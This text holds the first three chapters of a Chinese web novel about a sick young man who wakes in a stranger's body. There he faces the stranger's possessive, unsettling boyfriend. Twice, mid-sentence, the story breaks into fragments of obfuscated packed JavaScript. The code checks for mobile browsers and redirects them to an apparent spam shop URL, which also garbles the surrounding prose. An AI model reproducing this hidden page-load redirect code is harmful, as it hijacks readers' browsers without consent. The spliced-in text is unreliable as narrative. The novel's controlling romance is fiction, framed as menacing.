《病娇驯养手册》 1. 情侣关系 “哐当。哐当。哐当。” 沈恪是被这声音砸醒的。 沉重可怖的砍剁声,从别墅某处传来,震得他刚睁开的眼皮直跳。 胃里先是一阵火烧火燎的绞痛,他才后知后觉地发现自己正窝在沙发里。四周乱得很,抱枕歪倒,茶几上有干掉的水渍和碎成片的酒杯。他按住抽痛的胃,茫然地打量了下四周。 客厅极其宽敞,层高惊人,巨大的落地窗外是修剪整齐的草坪和花园。装修是冷硬的灰白调,线条简洁到近乎不近人情。唯一显得比较热闹的地方,是正对着沙发的整面电视墙。 那上面贴满了照片。 密密麻麻,全是同一个染着浅金色头发的男人。 厨房里,那可怕的砍剁声还在继续。规律而沉闷,一下接一下的格外吓人。若不是刚做完手术还没缓过来,沈恪大概会以为自己是个被丢进了恐怖片片场的倒霉鬼。 他心里莫名发毛。 这场景,这声音,怎么看都挺诡异。 可他记得自己不是在手术台上吗?麻醉一打,眼一闭一睁,怎么就到了这里? 真怪。 他患有极复杂的先天性心脏病,这让他从小学确诊后,人生就被圈在了医院的白墙里。 父母和妹妹起初经常来看他,后来妹妹升学,频率低了,但从未忘记过他。他的教育是医生护士姐姐们轮流教的,再加上自己看网课,就这样长到了十八岁。 直到不久前,针对他心脏畸形的研究取得突破,他才终于被推上手术台。他想,如果能活下来,如果能像普通人一样,拥有一颗健康跳动的心脏,拥有一个不再需要小心翼翼维护的正常身体……哪怕只是像普通人一样走两步路,晒晒太阳,也好。 可是……手术成功,能恢复得这么快吗? 沈恪试着开口,嗓子却干涩得如唐老鸭说话。他摸了摸喉咙,有些诧异。 做心脏手术还会影响到嗓子? 他翻遍身上的口袋,空空如也,连手机都没有。 厨房的砍剁声还在继续,节奏稳定得有些吓人。沈恪犹豫了一下,决定先不去探究,站起身想找个卫生间看看自己现在的状态。 脚刚一落地,他就愣住了。 步伐虽然因为胃部不适而虚浮,但踩在地上却坚实有力。他住院的那些年,因为长期卧床,肌肉萎缩得厉害,是家人坚持给他按摩才勉强维持住了他的行走能力。 而现在,他轻易地站稳了。 沈恪不可置信地抬起手。手指修长,骨节分明,手掌宽大,皮肤是健康的小麦色,指甲修剪得很整齐。 这不是他的手。他因为长期输液,手背上全是针眼的疤痕,手指也因为缺乏活动而纤细无力。 心跳开始加速。 他推开一扇又一扇门,书房、影音室、健身房,这栋别墅大得离谱。终于,在走廊尽头,他推开一扇厚重的磨砂玻璃门,找到了卫生间。 卫生间很大,但没有窗户,光线昏暗。他在墙上摸索了半天也没找到灯的开关,索性借着透进来的日光,走到镜子前。 镜子里映出一张完全陌生的脸。 浅金色的短发凌乱,右耳戴着一枚银色十字架耳钉。和他自己的身体一样,左侧嘴角还有一颗的黑色小痣。五官轮廓立体,带着几分混血般的深邃感,只是此刻脸色苍白,眼下还有淡淡的乌青,显得憔悴又疲惫。 沈恪盯着镜子,缓缓抬手,碰了碰自己的脸。 冰凉的指尖触碰到温热的皮肤。 镜子里的人也做了同样的动作。 这并不是他的身体。 短暂的震惊过后,一股难以言喻的狂喜猛地涌了上来。 对于他这个久卧病榻的人而言,时光只是一段记录着体检结果的数据,一具不断病弱衰竭的□□。 这还是他第一次,真正体验到健康是什么感觉。 稍微体验一下……应该不犯事吧? 沈恪深吸一口气,手指颤抖着抓住衣服的下摆,缓缓卷起。 腹肌的线条在昏暗光线下一寸寸显露。 一、二、三、四、五、六…… 六块!是六块!有六块清晰分明的腹肌! 沈恪睁大眼睛,几乎是虔诚地伸出手,轻轻按在小腹上。温热的皮肤下是饱满的肌肉,随着呼吸微微起伏,充满生命的力量。 他几乎是颤抖着,下意识地按向自己左胸下方,那里曾有一道因为多次导管检查而留下的细微疤痕。但此刻,指尖下是平坦光滑、充满弹性的肌肤,心脏在胸腔里有力地搏动。 这是真的,这不是梦。 他忍不住咧嘴笑了,眼眶却有些发酸。 他放下衣摆,准备再好好看看这张脸时,镜子里,他的斜后方,悄无声息地多了一个人影。 厨房的砍剁声,不知何时已经停了。 那人穿着纯白色的长款居家外套,皮肤苍白,身形很高,几乎要顶到门框。略长的黑发半遮住眉眼,看不清神色,就那么静静地站在卫生间门口,像个突然出现的幽灵,沈恪完全没听见他的动静。难道他是从墙壁里渗出来的? 沈恪胆子本来就不大,在医院时连恐怖片都不敢看,此刻被吓得魂飞魄散,差点尖叫出声。他猛地闭眼,再睁开—— 还在。 那人还在,就站在那里。 沈恪心脏狂跳,战战兢兢地转过身,强撑着镇定看向对方。他开口,声音却沙哑得不成样子:“怎、怎么了?” 那人没有回答。 沉默在昏暗的卫生间里蔓延。一秒,两秒,三秒……那人的脸藏在发丝后面。可沈恪能感觉到,有什么东西正从那些发丝的缝隙里透出来,落在他身上。 是视线。 那人在看他。一直在看他。 对方站在背光处,表情完全隐在阴影里,沈恪心里越来越毛。他想,这人和身体的原主应该是熟人,刚才在厨房剁菜,现在可能是来叫自己吃饭的? 于是他清了清嗓子,又问了一遍:“是……怎么了吗?” 那人才终于有了反应。 他微微歪了歪头,黑色的发丝滑过苍白的脸颊。唇瓣很薄,颜色很淡,此刻轻轻开启:“阿然,你醒了?” 阿然?应该是这具身体原主的名字。 沈恪想开口回应,但嗓子疼得厉害,只好点了点头。 “醒了就来吃饭吧,阿然。”对方说着,朝他走了过来。 随着距离拉近,沈恪终于看清了他的脸。很年轻,可能二十出头,五官精致出挑,阴郁俊朗。尤其是那双狐狸眼,眼尾微微上挑,本该是风流的形状,此刻却沉静如深水。 他伸出手,握住了沈恪的手腕。 指尖冰凉,在触碰到皮肤的瞬间,似有若无地刮过沈恪的脉搏。那种触感很奇怪,有些痒意。 沈恪下意识想把手腕抽回来,刚用了一点力,对方就立刻收紧了手指。力道不重,却不容挣脱。沈恪僵了一下,索性放弃了挣扎,任由对方牵着自己走出卫生间,左拐右绕地回到了客厅。 餐桌上已经摆好了饭菜。 很简单的两菜一汤:一盘色泽油亮的红烧肉,一盘清炒时蔬,还有一盆蛋花紫菜汤,外加一碗晶莹的白米饭。卖相很好,能看出来做菜的人用了心。 只是桌面上残留着几滴暗红色的油渍,还有一小片泼洒开的紫色痕迹,像是红酒,打扫时没有擦干净。 沈恪在餐桌边坐下。那个男人在他旁边的位置落座,单手撑着下巴,眼睛依旧一眨不眨地看着他。 “阿然。”他叫了一声。 “嗯?”沈恪下意识应道,视线却已经被那盘红烧肉牢牢吸引住了。 他吃了好几年的病号餐,因为需要控制饮食,连肉都很少能吃到。此刻看着那油光发亮的红烧肉,他忍不住咽了咽口水,伸手去拿筷子。 刚夹起一块肥瘦相间的肉,送到嘴边,手腕忽然被一把握住。 力道不轻不重,却恰好让他手指一松。那块油亮的红烧肉啪嗒一声掉在地上,滚了半圈,沾上了灰尘。 沈恪盯着那块肉,心里惋惜得要命。但这顿饭是别人做的,自己只是个鸠占鹊巢的陌生人,根本没资格抱怨。 只好用嘶哑的嗓音小声说:“好可惜……” 男人定定地看着他,看了很久。 久到沈恪开始不安,他才忽然轻笑出声。狐狸眼微微弯起,苍白的脸上浮起一个温柔至极的笑容:“这顿饭就先不吃了。我带宝宝出去吃餐厅,好吗?” 宝宝? 沈恪的眼睛瞬间瞪圆了。 等等。这个称呼…… 不会吧?应该不会是他想的那样吧? 这个男人和这具身体的主人是情侣关系?!两个男生?他还以为是兄弟! 因为不舍得花钱买什么电子设备,他住院时妹妹就经常给他带小说漫画解乏,有一次还误带了一本,他看了半天才发现不对劲,问妹妹怎么打怪打着打着两个男主突然亲上了,对方支支吾吾地说那是“耽美”,就是男孩子之间的恋爱。 沈恪并不歧视这种感情。在他苍白的日子里,那些书本里描绘的无论性别如何都纯粹炽热的情感,是他对正常生活美好想象的一部分。他渴望与人建立深刻的联结,渴望故事里那种可歌可泣的羁绊。 但知道是一回事,自己成为亲历者又是另一回事。 当虚构的情节突然变成自己必须面对的现实,当“爱情”这个遥远又抽象的词汇,具化为一个陌生男人喊自己宝宝时,沈恪只感到一阵手足无措的慌乱。 要不就现在摊牌?直接说自己不是原主?可对方会信吗?会不会把自己当成精神病? 正纠结着,对方已经站了起来。 男人动作自然地端起那盘几乎没动过的红烧肉,连带着那盘青菜和那碗饭,一起倒进了厨房门口的垃圾桶里。汤也被顺手泼进了水槽。 沈恪心疼得直抽抽。 太浪费了……真的太浪费了……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265370|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “走吧。”男人走回他身边,朝他伸出手。他的手指很长,骨节分明,在灯光下白得几乎透明。“我带你去吃饭,嗯?一家空中餐厅,口味很不错,你现在胃不好,可以吃一些清淡的。” 他的声音很低,带着磁性的沙哑,语气温柔。 沈恪看着他伸出的手,犹豫了一下,还是把自己的手放了上去。对方立刻收拢手指,将他牢牢握住。 “我的手机在哪里?”沈恪忽然想起来,出门总得带手机。而且,他必须尽快弄清楚原主的身份,以及眼前这个人到底是谁。 虽然窥探别人的隐私很不礼貌,但沈恪别无选择。他得知道自己现在是谁,处境如何。万一原主的意识也穿到了他那具躺在医院的身体里呢?找到线索,也许就能换回来。 毕竟,没有人愿意做一辈子的病人,能尽早换回来是最好。不麻烦他人,也不妨碍自己。 他能体验这么一小会健康人的生活,已经很满足了。 这话问出口的瞬间,沈恪明显感觉到握着自己的手紧了紧。 “应该是落在沙发那边了。阿然,你去找找看吧。” 沈恪点头,走到客厅中央那张巨大的L型沙发前,半蹲下身,低头查看沙发缝隙。 视线刚垂下去,他就看到了一部屏幕布满蛛网般裂痕的手机,静静地卡在沙发坐垫和靠背的夹缝里。 他弯下腰。再看向沙发底下,阴影处滚落着一个白色的小药瓶,瓶身上没有任何标签。 就在他视线锁定药瓶的同一瞬间,沙发另一侧的阴影里,悄无声息地探出了一颗头。 那颗头从极低的角度仰起,苍白的面孔,漆黑的发丝,以及一双正正对上他目光的眼睛。两人之间,只隔着沙发低矮的底座。 他就那样伏在阴影里,仰着头,静静地看着他。像是等了很久,终于等到他发现自己的这一刻。 沈恪的脸猛地褪去血色。他被吓得魂飞魄散,整个人向后一仰,差点跌坐在地:“怎、怎么了?!” “我在帮阿然一起找东西呀。”男人的语气里带着几分委屈,好像沈恪的惊吓反应伤到了他,“既然找到手机了,我们就出发吧?再拖下去,餐厅真的要关门了。” 沈恪胡乱地嗯了一声,心脏还在狂跳。他把那只裂屏手机捞出来,看也没看就直接塞进了裤兜里:“走、走吧。” 男人站起身,很自然地再次牵住他的手。 这一次,沈恪没再尝试挣脱。 两人一路无话地走到地下车库。车库里停着三四辆车,男人在其中一辆红色的跑车前停下。 沈恪对车一窍不通,只认得父亲以前开过的大众。他走到车头看了一眼车标,是一匹跳起来的马。 不认识。 他乖乖站在副驾驶门边,等着对方开车。可等了几秒,对方只是站在驾驶座门边,含笑看着他。 沈恪被他看得有些莫名。 男人轻笑出声:“是不是忘了带车钥匙呀?” 沈恪一愣。这车是原主的?他刚才说带自己去吃饭,他还以为是对方开车带他过去呢。 他尴尬地点点头:“好像是。” “阿然。”男人忽然上前一步,两人的距离瞬间拉得很近。他微微俯身,幽深的眼睛近距离地盯着沈恪,声音压得很低,“你还记得……我们的恋爱纪念日,是哪一天吗?” 沈恪呼吸一窒。 纪念日?他怎么可能知道! 沉默在车库里蔓延。男人的目光越来越沉,嘴角那抹笑意也渐渐淡去。 压力像无形的网罩下来。沈恪头皮发麻,心脏跳得飞快。 不能再这样下去了,他根本演不了另一个人。他张了张嘴,决定坦白:“其实我根本不是……” 话刚出口,一只微凉的手掌就轻轻捂住了他的嘴。 “嘘。”男人的声音贴得很近,带着一种奇异的的颤音,“别说了……” 他的指尖轻轻摩挲着沈恪的唇角,冰凉的触感令沈恪浑身发僵。 “会发生很糟糕的事的。”男人的声音很低,像是自言自语,又像是在提醒什么。 沈恪瞪大了眼睛。 男人缓缓松开手。他重新站直身体,脸上又恢复了那副温柔无害的笑容,仿佛刚才那一刻的异常只是沈恪的错觉。 “记不起来也没关系,我已经习惯了。”他轻声说,转身朝别墅走去,“只要你在我身边就好。” “阿然,我去拿钥匙,等我一下。” 沈恪看着他清瘦的背影消失在车库通往别墅区的门后,这才狠狠松了口气。 刚才那一瞬间……他几乎以为自己要被那双眼睛吸进去,再也出不来了。 不能再等了。他必须立刻弄清楚现状。 沈恪从裤兜里掏出手机。屏幕虽然碎了,但还能用。他深吸一口气,将手机举到面前。 人脸识别成功,屏幕解锁。 他垂下眼—— 然后,整个人僵住了。 2. 感情骗子 原主的手机屏幕很干净,常用的社交软件只有一个,图标上显示着未读消息的红色数字,99+。 沈恪的心脏跳得更快了。他点开那个软件,最先跳出来的是一个备注名为【白越 187 好骗】的联系人。 最新的一条消息,是三十分钟前发来的: 【白越】:药吃了吗?胃还疼吗?我在做饭,都是你爱吃的。阿然,我带到学校给你吃,好不好? 往上滑,是更早一些的记录: 【白越】:阿然,你醒了吗?头还晕吗? 【白越】:对不起,昨晚是我不好,我不该拦着你去酒吧的。你别生气了好不好? 【白越】:你回我一句话好不好?我很担心你。 【白越】:接电话。阿然。 再往上,时间显示是昨天深夜: 【然】:在酒吧,不用你管。 【白越】:哪个酒吧?我去接你。 【然】:滚,手机一直震,烦不烦? 【白越】:对不起对不起,我不发了。你别喝酒太多,你胃不好。我等你回来。 【白越】:阿然,别分手好不好?我错了,我真的知道错了。 【白越】:你接电话,我们好好说,好吗? 分手? 沈恪一愣。 怎么回事?他们在闹分手? 他继续往上翻聊天记录。 几乎全是白越发来的消息。 早安晚安,吃饭了吗,在做什么,今天天气冷了,找了跑腿送胃药给你,大学城出了一家新店我办了卡,新出的游戏我买了卡带寄给你了…… 事无巨细,密密麻麻。 而原主的回复寥寥无几,大多简短且非常不耐烦:“嗯。”“知道。”“烦。”“别管我。”“在忙。”“滚。” 直到沈恪翻到更久之前的一条记录: 【然】:你能不能别他妈每天发这么多废话?跟个老妈子一样烦得要死。 【然】:分手。给老子滚去死。 这条消息下面,是连续五十多个未接来电的记录提示,时间跨度从深夜一直持续到第二天清晨。 最后是一条文字消息: 【白越】:阿然,我错了。我不发了。我们不分手,好不好? 这条消息之后,原主再也没有回复过。而白越的消息,又恢复成了日复一日的、小心翼翼的关心。 沈恪盯着那句冰冷的“滚去死”和下面卑微的“好不好”,心里堵得慌。 他在医院见过不少人情冷暖,知道真心有多可贵。家人每次来陪他,哪怕只是安静地坐一会儿,他都觉得是自己灰白日子里的一束光。 这个白越看起来是真的很把原主放在心尖上。那些叮嘱虽然琐碎,却透着一种笨拙的关切。早餐吃了没,天冷加衣,胃药在哪儿……都只是最朴素不过的牵挂。 可原主居然就这么随意地用这么伤人的话,把别人的心意踩在脚下?还拿分手当武器? 沈恪忽地感到一阵近乎义愤的不平。 他因为身体原因,几乎没什么朋友,更别提恋爱经验。但他从书里、从家人的爱里知道,真心不该被这样对待。 这完全就是一方倾尽热情到近乎卑微,另一方冷漠敷衍到近乎无情,甚至带着刻意的践踏。 他有点不敢相信,一个人可以对另一个人的好,厌烦到这种地步吗? 沈恪的心跳得有点快。手指带点求证意味地点开了消息搜索框,输入了两个字:分手。 搜索结果跳出来,不止一条。 同样的分手宣言,在过去的两个月里出现了不下二十次。每一次的措辞都更加恶劣,更像是一种不耐烦的驱逐和羞辱。 而每一次,下面都跟着白越潮水般的未接来电、长长的道歉小作文,最终一切又都恢复如初,仿佛那句分手从未被说出口。 沈恪眨了眨眼,心里的那份不平渐渐被茫然取代。 “这个人……脾气真好?” 他脑海里冒出这个有点不合时宜的念头。被这么骂,被这么推开,还能一次次地回来,用更多的关心把裂缝填上。 他完全没意识到这是一种何等偏执何等恐怖的纠缠。在他单纯的价值判断里,这更像是一个坏脾气的家伙,在反复欺负一个特别好脾气特别能忍的人。 这个认知,奇异地缓解了他最初发现情侣关系时的手足无措,甚至让他对白越产生了一丝近乎同情的亲近感。 看,这个人真倒霉,被“以前的自己”给欺负成这样。 危险的火苗在他眼中,暂时还是一朵看起来有点委屈、需要被公正对待的微弱烛光。 他退出聊天窗口,手指点开了原主的朋友圈。 最新的一条动态是三天前,一张角度暧昧的夜景照片,一个漂亮陌生的人物背影,配文是:“新的目标。这次赌个一周?” 下面有不少点赞和零星几个评论,名字都很陌生: 【wind】:然哥牛逼! 【摸鱼儿】:这次赌多少?我先压5个w。 再往下翻。 两个多月前的一条朋友圈,没有配文,只有一张照片。 照片明显是偷拍的。图书馆靠窗的位置,一个穿着黑色衬衫的男生侧身坐着,正在低头看书。午后的阳光透过玻璃窗落在他身上,给他苍白的皮肤和黑色的发梢镀上了一层柔和的暖金色。 男生微微垂着眼,睫毛很长,侧脸线条干净利落,正是白越。 这条朋友圈下面,有一条原主自己的回复: “赌了。睡不到他我请客。” 底下跟了好几条回复,用词之轻佻,字里行间透着一股令人作呕的油腻: 【wind】:哇牛批,这不我们学校那高冷大学霸白越嘛,然哥是想换口味尝尝素了? 【叁分球】:他你也要下手啊?我滴个乖乖,他不是圈子里的传奇性冷淡嘛,看着没劲儿。 【然】回复【叁分球】:你懂个屁。就是这种平时对谁都爱答不理的缺爱小孩,调教好了才带感,跟条狗一样听话。 沈恪死死盯着屏幕。 追不到……请客? 调教好了……跟条狗一样听话? 沈恪被震惊得无以复加。 这根本不是平等恋爱,这是一场从一开始就充满恶意的狩猎游戏!原主竟然是这样的人! 这个渣男! 他怎么可以这样对待一个那么认真的人?那些关心,那些等待,在他眼里难道只是可以炫耀的战利品? 愤怒之后,同情便不受控制地漫了上来。 那个总是用温柔眼神看着自己的白越……他知道这一切吗?他知道自己的心意,在别人眼里只是一场赌局吗?他一次次被用分手刺伤,又一次次回来,是不是因为……他真的什么都不知道,只是单纯地笨拙地喜欢着? 说起来,原主私生活这么混乱,这个身体会不会有什么病?他刚醒来时胃部的灼烧感和那个可疑的白色药瓶……该不会…… 沈恪下意识地摸了摸小腹,一阵恶寒。 必须得想办法去医院检查一下,也必须得尽快找到换回身体的方法! 思绪纷乱间,手机又震动了一下。 一个名为【松风】的联系人发来消息: 【松风】:不是说要追我吗? 【松风】:昨天怎么没回我消息。 沈恪蹙着眉头点开。和与白越聊天时那副不耐烦的敷衍截然不同,原主在这里简直殷勤备至,甜言蜜语不要钱似的往外撒,红包和礼物承诺接连不断,活脱脱一只开屏的孔雀。 看来,这就是原主朋友圈里提到的新目标了。 这个出轨的臭渣男。 沈恪心里一阵厌烦。他看不惯原主那副对白越弃若敝履、对新目标又百般殷勤的做派,但他不是本人,也不能替原主做出任何回应。在没彻底搞清楚状况、找到脱身办法前,保持沉默或许是最不惹麻烦的选择。 他果断地将【松风】设置了消息免打扰。 紧接着,像是为了确认什么,他点开了原主那满满当当的好友列表。只看了一眼,沈恪的眉头就皱得更紧了。 列表里几乎所有的备注,都是【×××身高性格 可约】或者【×××酒吧认识的很放得开】这类将人彻底物化的赤裸裸的标签。 沈恪越看越觉得窒息,不适感又涌了上来。这都已经不只是混乱了,这是对人际关系彻头彻尾的轻蔑和玩弄。 “不行……这样绝对不行。” 他低声自语,手指在屏幕上快速滑动。虽然知道自己这样做可能很奇怪,甚至可能会引起原主社交圈的疑惑,但他实在无法忍受这些东西继续提醒着他现在所占据的这具躯壳曾何等不堪。 他抿紧嘴唇,带着一种近乎洁癖的固执,开始批量操作,将除了原主的家人和必要联系外的所有人,统统设置了免打扰。 做完这一切,他才稍微松了口气。 当他刚把手机塞回口袋,一抬头,白越已经拿着车钥匙,静悄悄地站在了他面前一步远的地方,微笑着,不知站了多久,仿佛从未离开过。 沈恪被这无声无息的靠近吓得一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265371|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激灵,心脏狂跳,掌心微微出汗。 他知道自己现在是谁,知道原主是个什么样的人,也知道白越是谁。 那个刚才温柔地牵着他的手,问他记不记得纪念日,说要带他去吃牛排的男人。 是被原主打赌要追到手的猎物。 是被追到手后又被随意对待、卑微哀求不要分手的可怜人。 也是刚才在昏暗卫生间里,悄无声息地出现在他身后,盯着他的陌生人。 “等急了吗,阿然?” 白越的声音响起,依旧平稳柔和,听不出任何异样。 沈恪看着白越那双盛着温柔笑意的眼睛,一股混合着愧疚与正义感的冲动涌了上来。 不行。不能再这样下去了。 他实在没办法以原主的身份继续和白越恋爱。这颗心已经被原主伤得千疮百孔了,自己再去伪装成那人,用虚假的回应去填补那些伤口,这和原主的欺骗有什么区别?甚至可能更残忍。 因为他知道真相,而白越不知道,白越喜欢的是原主而不是自己。 这对白越来说不公平。 “我……” 沈恪深吸一口气,鼓足勇气,声音有些发颤,“我不是你的男……” 话没说完,一只微凉的手指轻轻点在了他的嘴唇上, 白越的手指带着恰到好处的凉意,覆住了他翕动的唇瓣。指腹柔软,却瞬间截断了沈恪所有声音的通道。相贴的皮肤间迅速漫开一种细微的酥麻。 他他他他他他想干什么啊!! 沈恪瞬间睁大了眼睛,脸颊不受控制地烧了起来,全身的血液都轰然涌向被触碰的那一点。 白越微微倾身,那双狐狸眼近在咫尺,里面的笑意淡了些。他摇了摇头,声音压得很低,像在下达一道温柔的指令: “我暂时还不是很想听。” 他的指尖在沈恪唇上停留了一瞬,才缓缓收回,“我们去吃饭吧,宝宝。你胃不好,不能饿着。” 沈恪被他看得头皮发麻,下意识地连连后退了小半步,在白越加深的笑意中慌忙低下头,几乎是本能地选择了服从: “去、去吃饭!嗯,吃饭!” 他不敢再看白越的眼睛,自顾自地拉开副驾驶的门,飞快地坐了进去,手忙脚乱地想自己拉安全带。 白越轻笑一声,很自然地俯身过来,手臂绕过他,替他拉过安全带扣好。咔嗒一声轻响,在安静的车厢内格外清晰。 这个距离太近了。近到沈恪能闻到白越身上一种极淡的香气,近到他能看清对方低垂的睫毛,和那截从衣领中露出的修长的脖颈。 沈恪的心跳快得吓人。他紧张地咽了口口水,在安全带扣好的瞬间,几乎是脱口而出: “对不起!” 白越已经退回了驾驶座,闻言侧过头,带着疑惑:“怎么了,宝宝?” “就……之前说的一些话,”沈恪不敢看他,手指无意识地抠着安全带边缘,声音越来越小,“有些伤人。对不起。” 他其实很想很想直接坦白一切,也很想抓着白越的肩膀告诉他“你不能喜欢上一个这样伤害你的人,他不值得,这根本不是爱”,但他没有立场。 先稳住。 沈恪在心里对自己说。 等吃完饭,就找机会离开。买张票,跨省市,回我以前住的医院看看。万一……万一只是灵魂互换了呢?万一原主的意识真的在我的身体里呢?找到他,劝劝他,也想办法换回来。 这是他目前能想到的,最直接的出路。 白越深深地看了他一眼,那眼神复杂难辨,最终化作一声轻叹。他没有追问沈恪具体在为什么道歉,只是抬手,很轻地揉了揉他的头发。 这个动作自然又亲昵。沈恪在医院长大的那些年里,温柔的护士们、和蔼的医生们,还有心疼他的父母和妹妹,都常常这样揉他的头,带着安慰和鼓励。 因此,当白越微凉的手指穿过他的发丝时,沈恪没有感到排斥。相反,那熟悉的触碰,让他紧绷的神经松弛了些,甚至有点舒服。困意趁机爬了上来,他像只被顺毛的猫,下意识地微微仰起头,迎合那轻柔的揉弄。 这个透出几分依赖的无意识举动,让白越的动作顿了顿。 随即,他的目光骤然加深。深沉而专注地凝视着沈恪,仿佛要将对方此刻毫无防备的模样镌刻进骨髓里。 “没事的,宝宝。”白越的声音响起,比刚才更低哑了一些。他收回手,发动了车子,引擎发出低沉的轰鸣,“我们先去吃饭。” 红色跑车缓缓驶出昏暗的车库,汇入傍晚的城市车流。 3. 和你结婚 白越开了约半个小时的车。 车上空调温度正好,沈恪本就精神紧绷,身体也不知为何一直有些疲惫。几乎是车子刚驶出车库没多久,他就歪在副驾驶座上睡了过去。 他是被白越叫醒的。 对方微凉的手指很轻地摩挲着他的脸颊,声音低柔:“宝宝,到了。” 沈恪迷迷糊糊地睁开眼,映入眼帘的是白越近在咫尺的脸。他吓了一跳,本能地向后缩,却被安全带勒住。白越笑了笑,没说什么,只是替他解开了安全带。 沈恪看向车窗外,愣住了。 车子停在一座极为气派的玻璃幕墙建筑下。建筑线条利落现代,在傍晚的天光下泛着冷冽的银灰色泽,高耸入云,压迫感十足。门口站着制服笔挺的保安,姿态严谨得像雕塑。 白越降下车窗,对外面的保安笑了笑。那保安看清车内的人,立刻挺直脊背,语气恭敬:“白少爷,温少爷。” 白越对他点了点头,声音温和:“不用通知了。” “是。”保安立刻示意放行。 铁艺大门无声滑开。 白少爷?温少爷?白越家里这么有钱?那温少爷是在叫自己吗? 沈恪低着头,手指无意识地绞在一起。好好奇,但是不能问。问了就会暴露自己什么都不知道。这种憋着秘密的感觉,比他以前瞒着护士姐姐偷偷看小说还要难受一百倍。 停车场在地下,宽敞得惊人,灯光是柔和的暖黄色,映照着各种他叫不出名字但一看就价格不菲的豪车。白越停好车,很自然地向他伸出手。 沈恪犹豫了一下,还是把手放了上去。 白越立刻用自己的手将他完全裹住,“走吧,宝宝。”他说,“这里结构复杂,你不认路。” 他的手掌温度偏低,触感却细腻。沈恪被牵着,亦步亦趋地跟在他身后,穿过铺着厚重地毯的通道,进入一部需要刷卡和指纹的双层电梯。 电梯礼宾微笑着为他们刷了卡,电梯上行。速度极快,却没有多少失重感。沈恪偷偷抬眼,从轿厢镜面里看到白越安静的侧脸,他正目视前方,嘴角似乎噙着一丝极淡的笑意。 看着就像服装店里的光头模型。 沈恪莫名想到。 叮的一声轻响后,电梯门向两侧滑开。 视野骤然开阔。 他们来到一个挑高惊人的空中大厅。脚下是透明的钢化玻璃,能清晰看到下方蚂蚁般的车流和霓虹。沈恪只低头看了一眼,眩晕感就猛地袭来,脚下发软,仿佛下一秒就要坠落。他连忙抬起头,死死盯住前方,再不敢往下看。 大厅里人流不多,但每一个都衣着考究,步履从容。他们看到白越,无论男女,都微微颔首,露出恰到好处的微笑。那些视线或多或少地落在沈恪身上,带着审视、好奇、打量,或许还有些别的什么。 沈恪感到一阵不自在。 这是他醒来后,第一次被这么多陌生人注视。在医院时,他要么待在病房,要么在固定的复健区,接触的人有限。这种被公开打量的感觉让他本能地想躲。 他向后挪了半步,试图用白越高挑的身形挡住大部分视线。 白越余光扫过他的小动作,没有说什么,只是脚下步伐微调,更彻底地将沈恪护在了自己与大厅承重柱形成的阴影夹角里。 这个细微的举动让沈恪心里莫名一暖,紧绷的肩线稍稍放松。 他们最终停在一扇厚重的、镶嵌着黄铜装饰的木质双开门前。门楣上方,是一行优雅的烫金英文花体字:The Sanctum。 密阁。 几名穿着容貌气质俱佳的服务生无声地迎上前,脸上带着让人如沐春风的微笑:“白先生,晚上好。您预订的位置已经准备好了,请随我来。” 他的目光掠过被白越牵着的沈恪,脸上闪过讶异,但很快被专业素养掩盖,只是声音里多了点谨慎的探询:“原先的预约确认名单上,只有您一位。” 白越脚步未停,牵着沈恪的手自然地收紧了些: “是临时决定的。麻烦你和宋经理招呼一声,菜单和酒水需要稍作调整,按双人份准备。” 侍者立刻会意,不再多问,只是更深地躬了躬身:“明白了,白先生。我立刻去叫人安排。”他侧身让开道路,手势更加恭敬,“两位这边请。” 门被推开。 内里的景象让沈恪瞬间屏住了呼吸。 餐厅内部比外面看起来更加恢弘。整体是深色调,大量运用了胡桃木、黄铜和丝绒材质,低调高雅。巨大的弧形落地窗外,是整个城市华灯初上的璀璨夜景。水晶吊灯洒下温暖而不刺眼的光晕,空气中弥漫着淡淡的食物香气与木调香氛的味道。 太气派了,是沈恪只在小说和电视剧里才见的场景。 一看就很贵! 他心里打鼓,小步跟上在前面引路的白越和侍者。侍者一边走,一边轻声介绍:“白先生,温先生,今天主厨特别推荐的地中海盐皮烤整鲷、新西兰帝王羊鞍和布列塔尼蓝龙虾,都是最新到的顶级食材,风味独特,非常值得一试。另外,我们酒窖刚到了一批不错的……” 侍者后面的话,沈恪基本没听进去。他的注意力全被“顶级食材”、“非常值得一试”这几个标签吸走了。 他下意识地摸了摸口袋里的手机。 这顿饭……应该是白越请吧?是的吧?自己这个“阿然”,看起来也不像会主动买单的样子……可万一呢? 纠结再三,趁白越正微微侧头和侍者低声确认什么,沈恪迅速掏出手机,人脸解锁,点开银行APP。 余额页面跳出来的瞬间,沈恪倒吸一口凉气,手一抖,差点把手机摔出去。 个、十、百、千、万、十万、百万、千万…… 零。 好多零。 数不清的零。 在电视上看到富豪的资产和亲眼在自己操控的手机里看到巨额财富,是截然不同的感受。那一长串数字像是有温度,烫得他指尖发麻,心脏狂跳。 但这钱不是他的。 一分都不是。 沈恪像做贼一样飞快地锁屏,把手机塞回口袋,掌心沁出了一层薄汗。 乱花别人的钱,哪怕这身体现在是自己在用,也让他觉得极其不礼貌,甚至有种偷窃的罪恶感。 他快走两步,蹭到白越旁边,用只有两人能听到的音量,小声而窘迫地问:“这里……是不是特别贵?” 白越停下脚步,侧头看他。暖黄的光线下,他那双总是显得过分深邃难懂的眼睛,此刻漾开一点真实的笑意。他微微俯身,靠近沈恪耳边,声音低哑而清晰: “我请。” 我的天! 